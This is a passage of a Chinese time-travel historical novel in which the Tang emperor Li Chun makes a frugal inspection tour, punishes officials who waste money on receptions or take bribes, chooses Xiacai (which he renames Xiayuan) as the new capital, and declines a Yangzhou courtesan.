这次可以让他带人以民间身份,从侧面打探消息,了解一些隐藏的情况和内幕,使李纯对形势作出更加客观全面的判断。
当年秦始皇、隋炀帝巡游带着大批随行人员,沿途负担极重,隋炀帝甚至带了几十万人出行,消耗了太多的财力,加速了隋朝的灭亡,李纯深以为戒。
为了减轻地方的负担,李纯要求此次出行花费全部由户部支出,地方不用另外出资,确需有沿途地方供应的,物资折银,在次年上交朝廷的赋税中抵扣。
在人数上,也严格限制,仅带崔群、柳晟两个必要的高级官员,其他必要的中低级官员十几人,带上嫔妃刘氏,宦官、宫女也就几十人,仪仗和保障人员三百人,御林军三千人,总共不到三千四百人,属于规模很小的出巡。
在出行路线上,李纯和崔群议了一下,决定从长安向东,经潼关抵达洛阳,再往东南向汝州(今河南平顶山)、许州(今河南许昌)、陈州(今河南周口)、颍州(今安徽阜阳)、寿州(今安徽淮南)、滁州(今安徽滁州),到达扬州。
而后沿运河北上,经楚州(今江苏淮安)、宿州(今安徽宿州)、宋州(今河南商丘)、汴州(今河南开封),最后经郑州回到洛阳。
出巡要经过的地方,由崔群提前和地方官员对接安排好,使活动平稳有序。当然,纪奎的人员活动情况,肯定不会通报的,察访司的暗探或提前到,或延后走,暗中观察沿途的情况。
为了减少支出,出行人员尽量乘坐朝廷已有的马车、舟船,不够的,租用民间现有的,稍加装饰,不再新造,御林军全部是骑兵,一路全部骑马伴行。
为了防止地方官以接待皇帝出游的名义,擅自增加百姓负担,李纯让崔群通知沿途地方按照朝廷规定的标准接待即可,力戒奢靡,不得扰民、停工、误农时。
总之,李纯就是想把负担和影响降低到最低,就是告诉大家,皇帝出来规规矩矩巡视地方,不是出来享受的。
崔群准备完毕,李纯和刘嫔、李承闽坐上一辆皇帝专用的大型马车,崔群和柳晟各自带上随员,各乘一辆较大的马车,后面还跟着二十几辆载人装物的马车。
御林军前后夹道护卫,仪仗人员在前,保障人员在后,全部步行,一行人出长
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安城东,向潼关走去。
出发时,正是三月份,刚出城不久下起了小雨,下了一会就停了,空气清新,景色宜人,李纯想起了王维的一句诗“渭城朝雨浥轻尘,客舍青青柳色新”。
只是当初王维是送朋友西行,如今李纯是带人东巡。
尽管是已经精简了人员,但是皇帝出行的威仪仍在,沿途不少百姓在远处观望。
按照当时规定,百姓不得接近皇帝车驾,李纯也只能远远的看一下沿途百姓。总的感觉,老百姓的衣着和气色比前几年好一些了,精神头好些了,看到朝廷的人,不躲不跑了。
三月初,正是春季正好的时节,秦川大地欣欣向荣,春意盎然。沿途的村居充满烟火气,国家稳定了,农民忙着播种施肥,都想努力把日子过红火起来。
刘嫔也是出身社会底层,刘嫔的家人亲戚也大都是社会底层人物,所以能够和刘嫔说一些社会底层的事情。
平时,李纯陪刘嫔的机会少,这次就带她出来弥补一下,正好可以跟她聊一些底层人士的事。
刘嫔说:“以前经常打仗,百姓们不得安宁,经常逃亡,现在稳定了,很多人都回来了,安心种地过日子,多生儿女,还是陛下有办法,把藩镇给治住了,百姓们生活都好多了。”
李纯道:“藩镇之乱,本质上是国家内部的争斗,遭殃的是百姓,削平藩镇后,看到百姓们能过上好日子,朕也甚感欣慰。”
刘嫔说:“我家有好几个亲戚,要么种地,要么经商,生活情况比以前改善多了,家家都生了好几个孩子,小日子过得有滋有味,他们都感觉官府没有以前那么霸道了,宦官也不敢滋扰百姓了。”
李承闽赶忙接上话:“娘娘说的是什么话,现在皇上对我们太监管的那么严,我们哪还敢出去惹事。”
李纯问:“那你们出去采买东西怎么办,会那么自觉吗?”
李承闽说:“现在宫内都是集中采买东西,宫里太监出去买东西,宗正司都会有人陪同监督,并作记录带回去,察访司定期核对。”
李纯道:“还是制度完善些好,堵住漏洞,减少人犯错的机会,人的欲望是无穷的,没有制度约束,会肆意妄为。”
刘嫔说:“我记得在德宗皇帝时,宦官们出来都是耀武扬威的,经常随意敲诈百姓,连顺宗皇帝年轻时都看不下去。”
李纯道:“御史台监察百官,朕在枢密院成立察访司,就是为了监督皇亲国戚和宦官,人还是要有些约束,以前的宦官太害人,现在应该好多了。”
李承闽说:“现在宦官都是老老实实办事,出宫后有察访司盯着,在宫内有内卫处,不管在哪里,只要敢乱来,都会被抓住严惩。”
李纯道:“郭贵妃跟我说过,成立个内卫处,让王守澄负责,具体都是管什么?”
李承闽说:“内卫处主要有两个职能,一是在宫内巡查维持秩序,算是皇宫内部的警卫;二是对宦官和宫女进行监督,对有违反宫规的人员进行处理。”
刘嫔说:“这个内卫处可严了,宦官和宫女们但凡有人犯错,都会被审问打板子,我的一个宫女有次偷吃了宫里的肉包子,被内卫处发现,掌嘴二十,打的够呛。”
李纯说:“犯错应该被罚,但是偷吃些东西就掌嘴二十,是不是有些重了。”
刘嫔说:“内卫处的王守澄仗着郭贵妃的宠信,喜欢严惩立威,在宫里面权势大得很,宦官们私下里称李承闽、梁守谦、王守澄是宫内三巨头。”
李承闽说:“我哪里是什么巨头呀,就是帮皇帝办事的人员而已。”
李纯听罢,笑而不语,李纯觉得,有人的地方就有江湖,就会比个高低贵贱。以前宦官中是俱文珍、刘光琦、薛盈珍三巨头,现在老的一批倒下了,又兴起一批新的三巨头。
不同的是,老的三巨头以前权势极大,掌握禁军、干预朝政,影响朝廷的稳定,新的三巨头权力被局限在宫里,内部争点小权力。
李纯的原则是,宦官的权力必须严格限制在宫里,外有察访司,内有内卫处进行监管,让他们不能胡作非为,至于他们内部的阶层划分、争权夺利,这都是不可避免的,李纯不想在这些难以解决的琐事上伤脑筋。
第46章 洛阳反贪
李纯等人就这样边走、边看、边聊,一行人马直奔潼关而去,一路上都是土路。多年以来由于战乱不断,朝廷和地方都没多余的钱往修路上投,路况不太好,有些路段比较颠簸。
李纯想,即使迁都,长安也会是陪都,还是全国的重镇。长安到洛阳,再到河南、江淮一带,都是国家的核心地区,必须修建高标准的道路,交通的通达顺畅,也是国家兴盛、经济发展的重要前提。
队伍一路经骊山、华山、潼关、陕州,路过不少名胜古迹,李纯想起了很多关于这些地方的故事,还和柳晟、崔群谈论了一下,只是没有时间在这些地方停留,直奔洛阳而去。
在经潼关往陕州的这一段路时,李纯发现这里左有黄河,右有大山,只有中间有一条狭长的谷地可以通行,地势险要,可谓是一夫当关万夫莫开。
这里曾是崤之战的古战场,也是秦国与六国争霸的地方,历代王朝选在长安定都,看上的就是这里的山河险固,可以阻挡东来的军队,保证京师的安全。
李纯认为,如果是一个西北地区的诸侯,选择长安定都,算是明智,比如战国时的秦国,南北朝时的西魏,都是靠着险要的地势,阻挡了东来的军队。
如果是一个中央政权,定都长安反而不利,长安周边物产贫乏,朝廷大量的人员全靠黄淮和江南地区的供给,地势的险要也提高了运输物资的难度,搞得长安的物价偏贵。
一个王朝的兴盛,靠的是**清明、经济发达、制度完善、军事强大,不是靠几个关隘。
唐朝定都长安以后,玄宗时期长安被安禄山叛军攻破,代宗时期又被吐蕃占领,德宗时期又被朱泚叛军占领,说明长安周边的地势险要意义不大,一个王朝如果内政不修、****,就是铜墙铁壁也防不住。
经过半个月的行程,李纯一行终于到达洛阳。洛阳府是当时的唐朝陪都,又称东都,也是后来设置的河南道首府,城市发展了上千年,居民众多,商业繁荣,城市规模仅次于长安。
河南道布政使**则早已带领本道和朝廷在东都的属官,泱泱一群人,在洛阳西门外恭候。行跪拜之礼后,**则带领几个主要官员,随李纯进入洛阳城内。
进入洛阳城已经快到中午,**则连忙带人设宴款待。李纯带人入座后,发现菜品繁多,不乏一些名贵珍品,比宫里日常吃的好多了。
李纯又看了看,这一桌就自己和刘嫔、崔群、柳晟,加上**则作陪,也就五个人,几十个菜,一个大桌子摆的满满的。
李纯坐下看着满桌子菜,踌躇很久也没动筷子,搞得**则一脸尴尬,忙问道:“陛下,臣准备的菜品不合适吗?”
李纯对崔群说:“出发时,朕不是让你通知各地,一切从简,按照接待标准准备吗?这顿饭应该超出很多了吧。”
**则连忙说:“崔大人确实有通知,只是微臣以为,皇上好不容易来河南一趟,总要招待周全一下。”
李纯说:“朕如果吃了吧,说明朕下的旨意都是虚的,做样子的,如果不吃,反而批评你,你也是好意,朕于心不忍,所以才一时拿不定主意。”
**则说道:“陛下贵为一国之君,怎么能吃普通饭菜呢,这都是按照以前皇帝来东都的标准准备的。”
李纯道:“这样吧,留下三成菜,多的七成菜分给其他随行人员吧,我们五个人哪能吃得完,小李子也坐下一起吃。”
**则本想多留一些珍品菜,李承闽则摆了摆手,留的大都是普通菜,只留了两三个较为名贵的菜。
李纯也不想再说什么,就和几个人坐下吃饭,兴致不高,吃了一会就吃好了,要去休息一下。洛阳本就是东都,建有紫微城,也就是皇帝居住的地方,**则连忙带路去紫微城。
李纯在紫微城休息了一阵,就在宫内走走,发现不如自己想象的那么好,经过与东都留守属官询问一阵才知道。
紫微城在武后和玄宗时期,宫殿和设施比较奢华,后面在安史之乱中遭战火,焚毁了大部分建筑,后面虽在原址重修,但是规模不如以前了。
李纯召来柳晟,围着几个宫殿走一圈,看了一下,感觉规模自然不能和长安的几个宫殿相比,但是拆了可以搞出不少建材,帮营建新都省一些材料钱。
李纯想了想,自己就三个妃子,加上附属机构,也住不了太多地方,差不多够住。诸王和其他的皇亲国戚就先不用搬,留在长安,可以省不少费用。
到时在新都选好宫殿位置后,先盖一部分够住就行,后面留点空地,有钱了再慢慢增建。
李纯又让柳晟出去,到东都留守的机构和官衙那里看看,能拆能搬的都计算一下,提前做好筹划。到时东都留守人员,原则上搬到新都夏原,分配到各部任职。
柳晟走了以后,李纯又召来崔群、吕元膺、纪奎。
李纯对崔群说:“前面都白下旨了,你是怎么沟通协调的,都这样招待吃喝,要多花多少钱?”
崔群连忙说:“臣罪该万死,考虑不周,以为交代下去就可以了,没想到地方还是按自己的理解,随意提高接待标准。”
李纯道:“要迁都、要修路,还要给你们官员提高待遇,花钱的地方太多了,怎能还如此浪费?”
崔群说:“我后面一定让传旨的人,严肃告诫,反复交代,严格按照节俭的标准执行。”
李纯对吕元膺说:“你以菜品超标为借口,查一查接待的开支情况,看有没有其他超标支出的问题。”
又对纪奎说:“你的人来的时候,就应该有在暗访,后面再查探一下,看有没有什么其他情况。以后朕但凡去一个地方,你们的暗访人员分两波,一波提前三天到达,一波延后三天再走,把当地的情况都了解清楚。”
李纯最后正色对三人说:“以前秦始皇、隋炀帝出巡,人员众多,花费巨大,浪费严重,成为**的催命符,你们要引以为戒,决不能给地方和百姓增加负担,你们两个明察暗访清楚以后,把情况报给朕听一下。”
吕元膺和纪奎立即回去分头展开一系列的调查,收集到不少线索,第二天就一起来到紫微城禀报情况。
**则原任凤翔节度使,在李纯组织人马讨伐河北三镇时,他负责在西部防御吐蕃,打退了吐蕃几次小规模的攻击。李纯感念其功,在削藩后,仍给他一个重要的职位,任河南道布政使。
此人虽有些能力,但是品行不太好,原来在凤翔就捞了不少,这才来河南道不久,又开始想办法弄钱。
正好赶上李纯出巡,所以干脆就借着高标准迎接圣驾的借口,从商民那里征收了不少钱财,又在官府的财政里挤占挪用了不少经费,美名其曰:迎驾专项经费。
由于是打着迎接圣驾的名义,其他官员也不敢违逆,即使有个别官员提出不同意见,他就反驳说,如果皇上怪罪下来谁能担当的起?河南道相关官员就只能配合其敛财。
聚敛的钱财,他也不敢明目张胆的**,而是在采购和花费上下功夫,在所有的采买物资上收取两成回扣,商人也趁机加价,以至于采买的物资价格虚高。
综合算下来,花费金额是朝廷规定标准的三四倍,浪费比较严重。
纪奎还反映了一个情况,当时不仅给皇上招待的饭菜超标很多,给其他官员、侍从、御林军的招待也是超标,菜品多,品质高,数量大,所以李纯撤下很多菜品给随从们吃,他们也是吃不完。
吃剩的很多饭菜,都被**则派人埋掉了,说是皇帝和亲随吃剩的,再给其他人吃,于礼不合。
李纯气坏了,这不是隋炀帝出巡那一套吗?讲奢侈、论排场、比浪费,与自己的初衷完全不符。还趁机捞钱,顶风违纪,这是给皇帝脸上抹黑。
李纯怒了,让吕元膺派人将相关情况报送给御史台,让他们彻查,让纪奎继续跟踪河南道后续路程的接待情况,发现有不法行为,一并汇总报给御史台。
洛阳毕竟是东都,李纯还是多待了几天,在柳晟和崔群的陪同下,先后去了白马寺、龙门石窟、牡丹园看了一下,最后还选定了举办发明大会的地方。
**则当天下午就听到了风声,马屁拍在马
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腿上,气的直跺脚,后面找人想通过李承闽向李纯疏通,李纯也不理他。
一旦见了,他又是下跪,又是求饶,李纯难免心软,干脆交给御史台办理就好,自己就是要借机找个反面典型,敲打一番,狠刹这股歪风。
在洛阳待了五天,李纯就带人经伊川、汝州到达许州的襄城县,此处已进入淮河流域,淮河的支流沙河流经襄城,李纯舍陆登舟,开始走水路。
沙河在襄城县的水流不是很大,先坐的是中等规模的船舶,到了陈州(今河南周口),沙河、颍河汇合。水流变深,改坐大船,一路沿颍河向东南而去。
前面**则吃了瘪,后续沿途官员再也不敢自作主张,随意提高接待标准,对李纯及随行人员,按照朝廷下达的标准供应。
所有供应的物资在够吃、够用的基础上,略有盈余,李纯等人有多余的,就分给随行人员,随行人员多余的,就分给沿途百姓,基本上没有浪费。
这样沿途的官员和百姓也省心,少花钱、不扰民,一路上少了奢侈排场,多了一份平淡祥和。
沿途上,李纯还不时召见当地的乡贤名士,询问百姓的生活情况,征询对朝廷的施政意见,尤其是当前仍存在哪些弊端需要解决。
这些人反馈,百姓们感觉天下安定了,逃出去的很多都返回了,努力生产,生活有了奔头。
存在的问题就是各地的税卡较多,道路也不好,货物流通不畅,本地不出产的物品价格较高,老百姓总体还比较穷困,很多东西买不起。
百姓生活安定了,也能有饭吃了,但是收入低,物价高,生活的质量还是不够好。
李纯感到自己身上的担子还是很重,出巡结束后,首先要取消税卡,修筑道路,活跃商业,再逐步推出其他改革措施,让百姓的生活过得更好一些。
一行人坐船到了颍州,进入了李纯印象中熟悉的皖北地界,有种对故乡的熟悉感和亲切感。只是当时的沿途面貌和居民口音和前世完全不一样,只能在心里感慨一下。
李纯在颍州登岸休整了两天,在这里大概走动一下,接见了一批当地的官员和名士,然后就乘船沿颍河,入淮河,直奔下蔡(今安徽凤台)。
下蔡县在当时属于颍州,位于淝水与淮河交汇处的北岸,淮河对面就是著名的寿州和八公山,在当时就是一个毫不起眼的小县城。柳晟等人怎么也没想到,这里居然就是李纯设想的迁都之地。
由于地方狭小,当地安排的吃住条件很一般,李纯也不计较,对李承闽吩咐说,会在这里多住几天,多准备一些物资。然后又对柳晟说,这里就是他要选择的迁都之地,让他赶快带人到周边看看。
柳晟和一旁的崔群,听了就是一愣,怎么选择这么一个小地方,哪里都比这强呀。李纯也不与他们多说,就让他们先走走看看,再思考一下,晚饭后再交流。
下午柳晟和崔群一起,查看周围哪里适合建设新都,哪里可以建皇宫、官衙之类的。李纯带着刘嫔、李承闽另外行动,也到附近边走边看,通过闲聊,刘嫔和李承闽没想到李纯居然对这里比较熟悉。
李纯说,下蔡在春秋战国就已存在,建城也有一千多年了,也算是千年古城。淮河沿岸均较低洼,容易发生水患,唯有这里,处于八公山的余脉,地势较高,算是一个台地,所以不受水患侵扰。
因为曾经传说有凤凰来此栖息,此地又称凤台,下蔡南临淮河,水运便利,北边就是淮北平原,周边是大片的农田,土地肥沃,人口众多,粮食和物资供应不成问题。
晚饭时,李纯让柳晟、崔群过来一起吃,吃完就开始聊起迁都的事。
崔群首先说:“陛下提迁都的事,臣沿途想了好几个地方,臣觉得,即使不选洛阳,也应该选扬州、汴州、寿州,就是颍州,条件也比下蔡好,怎么也没想到陛下会选择在这里。”
柳晟说:“臣看了一下,下蔡位置还可以,靠近淮河,运送物资方便,周边场地平坦,也容易建设,但是条件比下蔡好的地方很多,臣也想不通为啥会选在下蔡。”
第47章 选定新都
李纯道:“当年高祖皇帝和太宗皇帝选择长安做都城,一是隋朝建都长安,有基础;二是长安是高祖皇帝和太宗皇帝起家的地方,属于龙兴之地;三是长安南有秦岭,东有黄河、潼关,山河险固。
当时的理由很充分,但是到了现在情况就不一样了,一是南方发展起来,经济重心南移,朝廷的很多物资都需要东南方向运过来,沿途交通又不好,耗费很严重;二是那些关隘在叛军面前不堪一击,洛阳、长安先后被叛军攻破,毫无意义,而且西面的吐蕃多次攻到长安,长安成了四战之地;
三是未来经济要发展,都城的位置很重要,要居于经济的重心地区,可以大规模的发展起来,带动大片的区域。这些长安都做不到,洛阳也有欠缺。”
崔群说:“听了皇上的宏论,臣认可迁都的想法,但是还是找不到选择下蔡的理由,汴州、襄州、扬州条件不也很好吗?”
李纯道:“汴州是朕第一个考虑的地方,此地位于我朝统治的腹心地带,人口众多,发展潜力大,是个不错的选择,但是有两个软肋,一是离黄河近,黄河水患频发,历史上好几次淹到汴州;二是陆路交通还可以,但是水路交通不行,目前从楚州到汴州的运河,水浅行不了大船,黄河水中泥沙多,几次水患漫溢到运河里,这条运河早晚要被淤塞掉。”
崔群又说:“扬州的水路条件好,南临长江,北通运河。”
李纯道:“虽然我朝的发展重心南移,但是核心还是在北方,整体还是北重南轻,迁都扬州不利于辐射全国,而且扬州离长江口近,以后万一有外敌从水路入侵,不好防御。”
崔群继续说:“襄州位置居中,水运也很好。”
李纯道:“襄州条件确实不错,朕也仔细考虑过,襄州位置居中,临近汉江,可以南通长江,是优点,但是襄州往北水运不通,周边三面环山,不利于大规模修路,而且全国的经济重心在黄淮地区和江南一带,襄州也不是最优选。”
柳晟说:“我明白了,下蔡位于汴州、扬州、襄州三个点的中心位置,最符合陛下的要求。”
李纯道:“下蔡位于人口众多的黄淮地区与经济发达的江南地区的交接处,水运发达,可以通过淮河的支流到达黄河以南大部分地方,还可以通过运河到达长江流域,甚至可以通过南运河到达杭州。黄河靠北,长江靠南,淮河居中,下蔡周边地幅宽广,人口众多,经济底蕴好,发展潜力大,陆路、水路条件都很好,未来与全国各地沟通都很方便。”
柳晟又说:“据臣所知,淮河流域的水患也多,也会经常发洪水,会不会对下蔡有影响?”
李纯道:“千里淮河,水患频发,合适的地方真不好找,下蔡以西的淮河沿岸,地势低洼,经常有水灾,往东也有很多地方低洼,再继续往东,地势是可以,但是偏离中心了。只有下蔡这个地方地势高,水患影响不到,下蔡古城能够屹立千年不倒,不是没有原因的。”
崔群说:“没想到陛下知道这么多,我等臣工听了倍感惭愧。”
李纯道:“你们这些读书人,张口闭口就是圣人之道,写诗作赋还可以,对这些经济地理山川之类的不太看重,普遍偏科呀。”
崔群说:“我等穷经皓首读书一辈子,都是以经史和文赋为主,对于其他的内容确实不太看重。”
李纯道:“治理国家,需要很多方面的知识,需要各种各样的人才,所以朕上次才提出进行科举制度改革,后面还会改,大规模发展教育,培养各类人才,把国家建的富强起来。”
柳晟说:“听陛下这么说,臣也觉得下蔡比较合适,下蔡城南是淮河,新都就建在城北吧。”
李纯道:“对,就在城北,可以挨着下蔡,新都作为内城,下蔡县城作为外城,在淮河边选择合适的位置修一个大码头,再从码头修一段路到新都,方便运送物资。”
柳晟又说:“陛下准备什么时候开始营建,还有什么要求吗?”
李纯道:“准备需要时间,也要回朝和众大臣商议。这样,崔群把朕刚才关于选址下蔡作为新都的理由和意见,书写成文,派人交到中书省。
让在京的大臣们有个心里准备,可以让他们先讨论,有什么不同意见,就通过驿使发过来。预计八月份回到洛阳时,在洛阳召集大臣开个朝会,议定后,就可以动工了。
后面朕带崔群去扬州一带,柳晟和工部的人,就不用去了,留下来全面准备营建新都的事,八月份前返回洛阳,回去时再把从洛阳到下蔡运送建筑材料的路线勘察一下,争取朝廷下旨后,就快速动起来。”
崔群说:“作为新都,下蔡这个名字似乎不妥,陛下要不要改一下?”
李纯道:“下谐音夏,夏是大禹建立的第一个朝代,这里地势高,又称台或原,叫夏台不好听,新都就叫夏原吧,下蔡县可以保留,作为新都下面的一个县。”
皇帝要选下蔡作为新都的消息,逐渐流传了出去,下蔡的百姓口口相传,觉得以后就是都城的人了,大家都很高兴。下蔡人认为,皇帝仁慈,征地拆迁肯定可以赔不少钱,营建新都也需要很多人干活,在工地干活也可以挣钱,比种地强,下蔡百姓都憧憬着好日子。
李纯还专门召见了柳晟和下蔡县令罗茂,对他们说:
“营建新都是件大事,罗县令一定要全力配合好工部的勘测和规划工作,现在很多百姓都知道了,可能就会有人私搭乱建,下蔡县一定要派人巡查,在新都选址区域内,从今天起不能再有任何建设活动,工部勘测时,一定要想办法减少拆迁房屋数量,道路和新建筑尽量建在空地上。需要拆迁的,要给个合理的赔偿方案,就近安置,不能让百姓吃亏。”
大事议定以后,李纯带着崔群和柳晟又在城北查看了一番,大体选择了宫殿、官衙的位置,让柳晟带人留在下蔡认真测量规划,在回到洛阳时,拿出一个总体方案,供李纯和众臣参考。
为了落实好李纯的旨意,柳晟带着工部的人员大体框定了新都营建的范围,交代罗县令一定要管控好这片区域,不得再私搭乱建。
罗茂就是一个七品小官,突然接到皇帝的接见,并赋予任务,激动不已,知道这是自己表现的机会,带着县衙里的人忙开了。
他先是派人到新都营建范围内的百姓家里宣传,从此严禁再新建房屋,谁敢建就拆谁的,他还带人经常出来查看,发现有人建房直接拆除。
在工部进行测量、规划时,罗县令也是非常配合,帮着工部摆平了地方不少杂事。柳晟对罗茂印象不错,在后面颍州长史空缺时,向吏部推荐罗茂,吏部也知道迁都是皇帝关注的大事,就授予罗茂颍州长史一职,并兼任下蔡县令,继续协助工部营建新都的工作。
李纯等人离开下蔡时,已经五月份了,一行人乘车沿陆路,经寿州、庐州、滁州往扬州进发,天逐步热了,李纯也不愿多活动,一路按照惯例沿途略有停留,接见一下地方官员和名士,六月初到达扬州。
自隋朝开凿大运河以后,扬州作为运河和长江的交汇点,发展日益兴盛,成为南方的大都市。当年隋炀帝巡游扬州,对南方美景流连忘返,以至于最后丢了江山,死在扬州,可见扬州的魅力。
到了唐朝,因为北方战乱不休,南方相对稳定,北方大量人员南迁,全国经济重心南移,扬州作为南方第一大城市,更加繁荣。与长安、洛阳主要依靠**权力搭建的都会不同,扬州是一个完全靠商业和贸易发展起来的城市,商业氛围浓厚,居民富庶。
有了**则的前车之鉴,淮扬道布政使柳公绰就清醒多了,带着几个主要属员,轻车简从,中规中矩的按照要求,在扬州西门迎接李纯一行。看到没有那些花架子,一切都简约适中,李纯心情不错,对待柳公绰比较热情,攀谈了一会后,一起进入扬州城。
柳公绰准备的欢迎宴,也让李纯满意,基本都是淮扬口味的特色菜,大都是当地常吃的菜品,荤素搭配,吃起来味道还不错。
从菜品选择上和宴会招待上,柳公绰等人显然是比较用心,花费不高,服务人员也不多,但是让人吃的赏心悦目。陪同用餐的几个地方官员,殷勤而不谄媚,热情而不逾矩,李纯对淮扬道的印象不错。
淮扬道准备给李纯等人居住休息的地方,就设在布政使府衙后院,重新布置了一番,还算简约舒适。
李纯认为,有些帝王简直就是把一己私欲置于天下人之上,吃必山珍海味,住必豪华行宫,行必龙舟巨辇,随意征发几十万
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人服劳役,榨尽了财力,耗尽了民力,看似风光威风,实际民怨沸腾。
每多花一贯钱,都是掠自百姓,每多用一个劳役,都会影响一个家庭的生计。身为君主,要为天下人着想,把金钱和人力花在刀刃上,花在国家最需要的地方,一个国家才会越来越强盛。
李纯这次来扬州,一是要看一下这个自己治下的重要城市,二是看看扬州的商业到底是怎么发展的这么好,找点经验。所以住下不久,就召柳公绰等官员过来问话,主要是聊扬州的发展经验。
柳公绰等人介绍,扬州城市繁荣,居民富裕,发展的这么好,主要有三个原因:
一是扬州比较安全稳定,没有经过战乱,主政官员也没有乱折腾,百姓能够安居乐业,北方还迁来了不少人,助推了城市的发展;
二是扬州位置好,交通方便,水陆可以通往四面八方,可算通江达海,人员往来方便,货物运送快捷。
三是官民商业意识浓,这里的居民很多都从事商业或贸易,官府的管制也比较松,大家都是想办法投钱到赚钱的行业,形成了财富示范效应。
李纯听了很受启发,第一条目前全国都做到了,第二条很多地方还是不行,交通不太好,看来抓道路建设是以后的一个重点,第三条北方很多地方还做不到,很多官员还是鄙视、压制商人,甚至还到处设置税卡,想从商人身上多收税,商人赚钱难,导致商业发展不起来。
后面几天在柳公绰的陪同下,李纯又去了扬州的几个重要景点,看了几家大的商行、码头,接见了几个大盐商,对扬州的富庶和商业发达有了更直观的认识。
走访的路上,柳公绰对李纯说:“皇上来一次扬州不容易,扬州还有一个重要的方面想让皇上见识一下。”
李纯问:“还有什么是朕没见识到的?”
柳公绰笑而不语,说晚上他会安排。
当天,刘嫔则被柳公绰的夫人邀去游玩、听曲,晚上和几个官员的夫人一起吃席,没有来陪李纯。
晚上,柳公绰已命人将府内厅堂重新布置一番,邀请李纯和崔群等人举行晚宴。李纯感觉,今天的晚宴必有不同。
只见侍女们在桌子上摆好酒菜以后,柳公绰的手掌拍了两下,款款走入一队舞女。
突然,乐声奏起,舞女们随着乐曲的调子翩翩起舞。这些舞女身法和舞姿都与宫中的不同,纤纤细腰,曼妙身姿,舞姿如杨柳摇枝,身段似亭亭荷花,配上悠扬婉转的乐曲,让人的身心都放松下来。看着,听着,李纯不禁有些心神摇荡起来。
乐舞悄然结束,舞女们撤下,只见又走来一个年轻女子,年轻貌美,肤色白皙,白衣素裙,举止落落大方。她首先向李纯等人鞠躬致意,而后在一个古琴后坐下来,开始弹奏。
李纯仔细看了一下,此女子比前面的舞女姿色更加出众,婉约柔媚,气质脱俗,更多了一份别样的魅力。不知弹的是什么曲子,但是听起来轻柔婉转,沁人心脾,把人的心灵带入一个淡雅闲适、轻松自在的意境中。
佳人妙曲,让人心旷神怡,李纯不禁有些陶醉起来。再看那女子,美不胜收,顾盼神飞,目含秋波,让人不禁产生怜爱之心、占有之意。
看着李纯甚为欣赏,柳公绰说道:“此女乃是扬州才女李端端,不仅人长得漂亮,琴棋书画,诗词歌赋,无一不精。臣觉得皇上难得来一次扬州,就斗胆请她来给皇上奏个曲子”
李纯道:“柳爱卿的美意朕心领了,此女色艺俱佳,确实让人有种不同的感觉,不错。”
李端端弹琴之余,不时飘来目光,听了李纯的话,莞尔一笑,丹唇皓齿,笑意嫣然,更添几分妩媚。
弹奏结束以后,李端端起身款款退去。李纯似意犹未尽,不时回味。
柳公绰趁机建言道:“如果皇上喜欢,不如让他晚上陪陪皇上。”
李纯激灵了一下,说道:“不必,晚上还是让刘嫔陪我。”
不多久,晚宴散去,李纯回到了休息的地方。
过了一会,刘嫔也回来了,也喝了不少酒,走路都不稳,看来是没法陪他了,就各自分开睡。
李纯躺在床上想,柳公绰真是个人物,说话办事,总让人感觉比较得当。还有李端端,也是一个妙人,让人浮想联翩。
第48章 巡游故事
近年以来,李纯都是在长安,接触的都是北方女子,经常陪他的就是那三个嫔妃,相处久了,早已**以为常。
加上自己平时忙于政务,没空多想男女之事,平时都是被基本的欲望激发,两三天去一次后宫,轮流到各个妃子那里,更像是为了完成任务。既没有什么激情似火,也没有所谓的缠绵悱恻,在两性体验上平淡无奇。
这次被李端端和那些扬州女子挑动一下,似乎有了一些怦然心动的感觉,在娇柔美丽南方女子身上,看到了女性更加诱人的魅力。似有一个火种,点燃了内心的激情,那种对女性的占有欲、征服欲,幻想那种酣畅淋漓的男女之事。
自己其实也想过,让那个李端端晚上侍寝,甚至可以带回长安宫中,只是一个青楼女子,被皇帝选中为妃,将成何体统,大臣和百姓们会怎么说。
再说,自己要办的事情太多,没有那么多精力放在男女之事上。酒色财气,伐性之斧,削志之刃,今天收了李端端,明天就会去找李师师,自己可不想做宋徽宗。
人生吧,有舍才有得,为了做更大的事,总要放弃一些次要的事。要振兴大唐,要一统世界江山,还有太多的事去做,必须要把这些乱七八糟的想法放在一边。
李纯怕再待下去,就不想走了,决定第二天上午准备一下,下午就出发返程。柳公绰没想到李纯这么快就走了,不免有点小失望,但是看到李纯作为皇帝居然能够做得了柳下惠,不免暗暗佩服,觉得李纯确实是一个能办大事的君主。
李纯一行,回去时乘船沿着运河北上,一路通行顺畅,几日后到达楚州。楚州,后世又称淮安,在当时也是一个大州,经济富庶,人口众多。
进入楚州地界后,李纯明显感到运河两岸的衙役、公差比其他州要多些,警卫更加森严,不允许百姓靠近李纯一行的坐船,甚至连远远观望都不行。到了楚州城以后,楚州刺史汪大兴,早带着一帮人在恭候圣驾。
李纯到达后,汪大兴执礼甚恭,一路上鞍前马后的招呼安排,接待标准属于中规中矩,但态度确实热情周到,让人挑不出瑕疵。
但是李纯隐隐感觉似乎是太热情了些,有些溜须拍马的感觉,但一想也不是什么大毛病,就没往心里去。
用餐完毕,乘车往休息的地方赶的路上,李纯挑开车帘往外看,远远的看到一群百姓,大声喊着要向车子靠近,一群官兵和衙役大声呵斥着、驱赶着,将这群百姓赶走,有的百姓不服,还被官兵抓住,捆绑住押走。
李纯就感觉背后似乎有些事情,为了弄清原委,就让纪奎过来,问问情况。
纪奎说:“陛下,我们的人三天前就提前来到楚州,汪大兴大规模布置人力搞**,防止百姓接近圣驾,沿途给皇上看到的都是表面文章,今天的那群百姓是要告御状,被汪大兴派人驱逐抓走了,这里面一定有见不得人的东西。”
李纯听后,为了稳妥起见,还是派纪奎带人继续走访查探一番,还在百姓**的附近私下询问,又到其他地方验证。纪奎在充分了解情况,并掌握一些证据后,第二天就来给李纯汇报情况。
原来,楚州刺史汪大兴贪婪无度,依仗手中权力谋取不法利益,甚至巧取豪夺,侵占百姓财物,索贿**,打压异己,名声很差。
汪大兴非常害怕在李纯来楚州期间有人告他的状,所以在沿途布置大量的官兵、衙役,不让百姓接近圣驾,不给百姓告状的机会。
昨天,很多百姓也知道了皇帝出巡楚州,就想趁着这个机会状告汪大兴的不法行为,但最终还是被汪大兴派出的人发现,立即组织官兵弹压,大部分人都被驱赶走了,还抓了几十个人关进了楚州大牢。
李纯听到这些,感觉必须要对汪大兴进行彻查,于是下旨,对汪大兴进行停职审查,任命吕元膺为楚州查访使,对汪大兴在楚州的所作所为进行全面的审查,审查情况分别奏报给御史台和皇帝,由御史台拿出处理意见,报给李纯核准。
